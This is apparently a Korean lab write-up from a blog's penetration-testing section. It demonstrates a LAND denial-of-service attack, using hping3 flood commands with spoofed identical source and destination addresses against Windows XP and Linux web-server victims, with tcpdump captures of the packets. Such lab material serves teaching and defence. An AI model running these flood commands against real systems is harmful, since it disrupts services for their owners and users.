실습> LAND Attack
1. 와이어샤크 덤프
Victim1(Windows XP)에서 패킷을 덤프 받는다.
2. Land Attack 전송
Attacker# time hping3 -a 192.168.108.105 192.168.108.105 -1 --flood
HPING 192.168.108.105 (eth0 192.168.108.105): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 192.168.108.105 hping statistic ---
504683 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
real 0m7.868s
user 0m0.053s
sys 0m7.829s
3. 패킷 확인
Victim1(Windows XP)에서 패킷을 덤프 받는다.
공격 패킷이 중단되면 패킷을 중지한다.
덤프된 패킷을 LandAttack.pcap 파일로 저장한다.
4. 웹서버 시작
Victim2 리눅스에서 웹서버를 시작한다.
웹서버 패키지가 없으면 설치한다.
Victim2# yum -y install httpd
Victim2# systemctl start httpd
5. 와이어샤크 덤프
Victim2 리눅스에서 tcpdump를 설치해서 패킷을 덤프 받는다.
Victim2# yum -y install tcpdump
Victim2# tcpdump -w LandAttack.pcap port 80 -i ens33
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
A V
C S
socket socket
bind
listen
connect accept
LISTEN
SYN
--------------->
SYN_SENT
SYN/ACK
<---------------
SYN_RECV
ESTABLISHED
ACK
---------------->
ESTABLISHED
send/recv
<--------------->
Attacker# time hping3 -a 192.168.108.100 192.168.108.100 -p 80- S --flood
HPING 192.168.108.100 (eth0 192.168.108.100): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 192.168.108.100 hping statistic ---
721312 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
real 0m11.846s
user 0m0.065s
sys 0m11.846s
6. 패킷 확인
윈도우에서 와이어샤크로 확인할 수도 있지만 여기서는 tcpdump 명령어로 확인한다.
Victim2# tcpdump -w LandAttack.pcap port 80 -i ens33
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
^C719958 packets captured
719959 packets received by filter
0 packets dropped by kernel
출발지 IP주소와 목적지 IP주소가 같은 것을 확인할 수 있다.
Victim2# tcpdump -r LandAttack.pcap -vv -n
06:44:12.761847 IP (tos 0x0, ttl 64, id 3671, offset 0, flags [none], proto TCP (6), length 40)
192.168.108.100.23122 > 192.168.108.100.http: Flags [S], cksum 0x6b25 (correct), seq 915686062, win 512, length 0
06:44:12.761848 IP (tos 0x0, ttl 64, id 61856, offset 0, flags [none], proto TCP (6), length 40)
192.168.108.100.23123 > 192.168.108.100.http: Flags [S], cksum 0x6c4d (correct), seq 222315261, win 512, length 0
06:44:12.761850 IP (tos 0x0, ttl 64, id 14560, offset 0, flags [none], proto TCP (6), length 40)
192.168.108.100.23124 > 192.168.108.100.http: Flags [S], cksum 0xe5d2 (correct), seq 1649867151, win 512, length 0
06:44:12.761851 IP (tos 0x0, ttl 64, id 34914, offset 0, flags [none], proto TCP (6), length 40)
192.168.108.100.23125 > 192.168.108.100.http: Flags [S], cksum 0x6428 (correct), seq 1140878225, win 512, length 0
:
:(생략)
'Linux > 모의해킹' 카테고리의 다른 글
| 파이썬 코드를 활용한 tcpSynFlooding 공격 (0) | 2022.01.11 |
|---|---|
| TCP SYNflooding (씬플러딩) (0) | 2022.01.11 |
| Ping Of Death (0) | 2022.01.11 |
| ICMP Redirect 활성화/비활성화 테스트 (0) | 2022.01.11 |
| ICMP Redirect 공격하기 (0) | 2022.01.11 |